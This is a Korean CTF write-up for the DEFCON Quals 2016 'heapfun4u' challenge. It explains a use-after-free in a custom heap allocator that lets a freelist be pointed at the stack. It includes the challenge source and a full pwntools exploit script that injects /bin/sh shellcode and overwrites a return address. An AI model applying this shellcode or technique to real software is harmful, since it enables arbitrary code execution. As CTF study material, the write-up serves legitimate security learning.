[DEFCON Quals 2016] Heapfun4u

· omacs's blog


Table of Contents

Introduction #

본 문제는 use-after-free (UAF)를 사용하여 커스텀 메모리 할당자의 freelist를 조작하여 스택을 할당하고 쉘을 얻을 수 있는지 묻는 문제이다.


주어진 커스텀 할당자는 메모리 블록에 header와 footer를 두고, header에 크기, footer에 연결 리스트 정보를 기록한다. 그리고 특정 조건에서 연결 리스트 정보를 freelist로 사용한다. 이때 스택 주소를 얻을 수 있는 명령어룰 문제에서 제공하므로 freelist를 조작하여 스택 영역 메모리를 할당받을 수 있다. 게다가 이 할당자가 얻는 메뫼리에는 실행 권한이 포함되어 있기 때문에 정상적으로 얻은 메모리에 쉘 코드를 쓰고 이 주소로 리턴 주소를 덮어쓰면 풀 수 있다.


이 문제의 소스 코드는 깃허브에 올려져 있는 자료를 참고하면 된다[1, 2].

Vulnerability #

주어진 소스 코드 중 heapfun4u.c 파일을 보면 할당된 메모리가 기록된 array 배열의 원소를 해제된 후에도 그 값을 유지하여 UAF가 가능함을 알 수 있다.

  1#include <stdio.h>
  2#include <string.h>
  3#include "dc_malloc.h"
  4
  5void *array[100];
  6int array_sz[100];
  7int c;
  8
  9void print_array()
 10{
 11  int i =0;
 12
 13  for ( i = 0; i < 100; i++) {
 14      if ( array[i] == NULL ) {
 15          continue;
 16      }
 17
 18      printf("%d) %p -- %d\n", i+1, array[i], array_sz[i]);
 19  }
 20
 21  return;
 22}
 23
 24void name( void )
 25{
 26  int hello;
 27
 28  printf("Here you go: %p\n", &hello);
 29
 30  return;
 31}
 32
 33void wb( )
 34{
 35  char stuff[16];
 36  int sel = 0;
 37
 38  print_array();
 39
 40  printf("Write where: ");
 41  if ( read( 0, stuff, 15) <= 0 ) {
 42      exit(0);
 43  }
 44
 45  sel = atoi(stuff) - 1;
 46
 47  if ( sel < 0 || sel >= 100 ) {
 48      exit(0);
 49  }
 50
 51  if ( !array[sel] ) {
 52      exit(0);
 53  }
 54
 55  printf("Write what: ");
 56
 57  if ( read( 0, array[sel], array_sz[sel]) <= 0 ) {
 58      exit(0);
 59  }
 60
 61
 62  return;
 63}
 64
 65int main()
 66{
 67  memset( array, 0, sizeof(void*) * 100);
 68  c = 0;
 69  int sel = 0;
 70  char yo[256];
 71
 72  setvbuf( stdin, NULL, _IONBF, 0 );
 73  setvbuf( stdout, NULL, _IONBF, 0 );
 74
 75  while ( 1 ) {
 76      printf("[A]llocate Buffer\n");
 77      printf("[F]ree Buffer\n");
 78      printf("[W]rite Buffer\n");
 79      printf("[N]ice guy\n");
 80      printf("[E]xit\n");
 81      printf("| ");
 82
 83      if ( read( 0,  yo, 255) <= 0 ) {
 84          exit(0);
 85      }
 86
 87      switch( yo[0] ) {
 88          case 'A':
 89              if ( c == 100) {
 90                  exit(0);
 91              }
 92
 93              printf("Size: ");
 94
 95              if ( read(0,yo, 255) <= 0 ) {
 96                  exit(0);
 97              }
 98
 99              sel = atoi( yo );
100              array[c] = dc_malloc(sel);
101              array_sz[c] = sel;
102
103              if ( !array[c] ) {
104                  exit(0);
105              }
106
107              c++;
108
109              break;
110          case 'F':
111              print_array();
112              printf("Index: ");
113
114              if ( read( 0, yo, 256) <= 0 ) {
115                  exit(0);
116              }
117
118              sel = atoi(yo) - 1;
119
120              if ( sel < 0 || sel >=100) {
121                  exit(0);
122              }
123
124              if ( array[sel] ) {
125                  dc_free( array[sel] );
126              } else {
127                  exit(0);
128              }
129
130              break;
131          case 'W':
132              wb();
133              break;
134          case 'N':
135              name();
136              break;
137          case 'E':
138              printf("Leave\n");
139              return 0;
140          default:
141              exit(0);
142              break;
143      };      
144  }
145
146  return 0;
147}

Exploit #

주어진 dc_malloc은 메모리 블록에 다음과 같이 header와 footer를 둔다.

1typedef struct m_header {
2  /// 8 byte aligned so 3 bits for flags
3  unsigned long size;
4} m_header, *pm_header;
5
6typedef struct m_footer {
7  m_header *pNext;
8  m_header *pPrev;
9} m_footer, *pm_footer;

그리고 메모리 관리자 타입을 다음과 같이 정의한다.

1typedef struct m_manager {
2  void *free_list;
3} m_manager, *pm_manager;

Freelist는 전역 변수로 관리되며, dc_malloc 함수 구현을 보면 특정 조건에서 메모리 블록의 footer로 그 값을 정한다 ({1}).

 1void *dc_malloc( unsigned int size )
 2{
 3  void *freeWalker = NULL;
 4  void *final_alloc = NULL;
 5  void *new_block = NULL;
 6  unsigned int size_left = 0;
 7
 8  pm_header thdr;
 9  pm_footer tftr;
10  pm_header header_new_block;
11  pm_footer footer_new_block;
12
13  /// Each block needs to be a least the size of the footer structure
14  if ( size < sizeof( m_footer ) ) {
15      size = sizeof(m_footer);
16  }
17
18  /// Align to 8 bytes
19  if ( size % 8 ) {
20      size = ( size >> 3 ) + 1;
21      size <<= 3;
22  }
23
24  freeWalker = memman_g.free_list;
25
26  while ( 1 ) {
27      if ( freeWalker == NULL ) {
28          freeWalker = add_free_block( size );
29      }
30
31      thdr = (pm_header)freeWalker;
32      tftr = BLOCK_FOOTER( freeWalker );
33
34      /// Check if the current block is large enough to fulfill the request
35      /// If so then downsize as needed
36      if ( ( thdr->size & ~3) >= size ) {
37          final_alloc = freeWalker + sizeof(pm_header);
38
39          size_left = (thdr->size& ~3) - size;
40
41          /// Set the in use flag
42          thdr->size |= 1;
43
44          // If there is room then create a new block
45          if ( size_left > sizeof(m_header) + sizeof( m_footer) ) {
46                /* ... */
47          } else {
48
49              /// Just unlink and return this one
50              if ( freeWalker == memman_g.free_list ) {
51                  memman_g.free_list = tftr->pNext; /* {1} */
52
53                  if ( memman_g.free_list ) {
54                      tftr = BLOCK_FOOTER( (void*)(memman_g.free_list) );
55                      tftr->pPrev = NULL;
56                  }
57
58              } else {
59                    /* ... */
60              }
61          }
62
63          /// Fix ups are done. Return the allocation
64          return final_alloc;
65      }
66
67      freeWalker = (void*)tftr->pNext;
68
69  }
70}

이때 BLOCK_FOOTER() 매크로의 정의를 보면 알 수 있듯이, {1}에서의 pNext 멤버는 유효한 주소이어야만 하고, 적절한 크기값을 담은 주소여야만 한다.

1#define BLOCK_FOOTER( block ) ((pm_footer)(  ((char *)block) + (( ( ((pm_header)block)->size & ~3) + sizeof(m_header) ) - sizeof( m_footer))))

그럼 상기 name 함수로 스택 주소를 얻고 적당한 스택 주소를 해제된 메모리 footer의 pNext 멤버에 둔다면 그 다음 할당에서 그 주소가 memman_g.freelist로 들어갈 것이다. 그럼 그 다음 할당에서 스택 주소를 얻을 수 있다. 이때 스택 주소는 메모리 블록을 할당할 때 메모리 크기를 입력받는 버퍼의 주소를 쓰는데, 그 주소에 2를 더한 값을 쓴다. 그 이유는 "128\n"을 입력했을 때 "8\n"을 크기 값으로, 즉 0x0a38을 쓰게되어 리턴 주소를 덮어쓰기에 충분하면서도 세그멘테이션 폴트를 발생시키지 않기 때문이다. 이 방법에는 별도의 추가 입력이 필요하지 않기도 하다. 이렇게 스택을 할당받았다면 다음은 또다른 메모리 블록에 쉘 코드를 쓰고 그 블록으로 점프하도록 리턴 주소를 덮어쓰는 것이다. 지금까지 설명한 것을 코드로 작성하면 다음과 같다.

 1from pwn import *
 2import time
 3
 4r = process("./heapfun4u")
 5
 6def allocate(r, size):
 7    r.sendlineafter(b"| ", b'A')
 8    r.sendlineafter(b": ", size)
 9
10def free(r, mem_index):
11    r.sendlineafter(b"| ", b'F')
12    r.sendlineafter(b": ", mem_index)
13
14def write(r, mem_index, data, add_nl):
15    r.sendlineafter(b"| ", b'W')
16    r.sendafter(b": ", mem_index)
17
18    if add_nl:
19        r.sendlineafter(b": ", data)
20    else:
21        r.sendafter(b": ", data)
22
23def get_stack(r):
24    r.sendlineafter(b"| ", b'N')
25    line = r.recvline()
26    stack = int(line[len(b"Here you go: "):-1], 16)
27    print(hex(stack))
28    return stack
29
30def exit(r):
31    r.sendlineafter(b"| ", b'E')
32
33def main():
34    stack = get_stack(r)
35    fake_block = stack + 0x14 + 0x2
36    main_ret_off = 0x11e
37
38    print(hex(fake_block))
39
40    allocate(r, b"128")
41    allocate(r, b"128")
42    free(r, b'1')
43
44    payload = b'A' * 0x70
45    payload += p64(fake_block)
46    write(r, b"1", payload, False)
47
48    allocate(r, b"128")
49    time.sleep(1)
50    allocate(r, b"304")
51
52    r.sendlineafter(b"| ", b'W')
53    heap = int(r.recvline()[3:17], 16)
54    print(hex(heap))
55    r.sendlineafter(b": ", b'1')
56    payload = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05\x90\x90"
57    r.sendafter(b": ", payload)
58
59    payload = b'A' * main_ret_off
60    payload += p64(heap)
61    write(r, b'4', payload, False)
62
63    exit(r)
64
65    r.interactive()
66
67main()

References #

  1. "DEF CON Capture the Flag 2016." legitbs.net, Accessed: May. 04, 2026. [Online]. Available: https://legitbs.net/2016/
  2. legitbs, "creative commons." github.com, Accessed: May. 04, 2026. [Online]. Available: https://github.com/legitbs/quals-2016
last updated: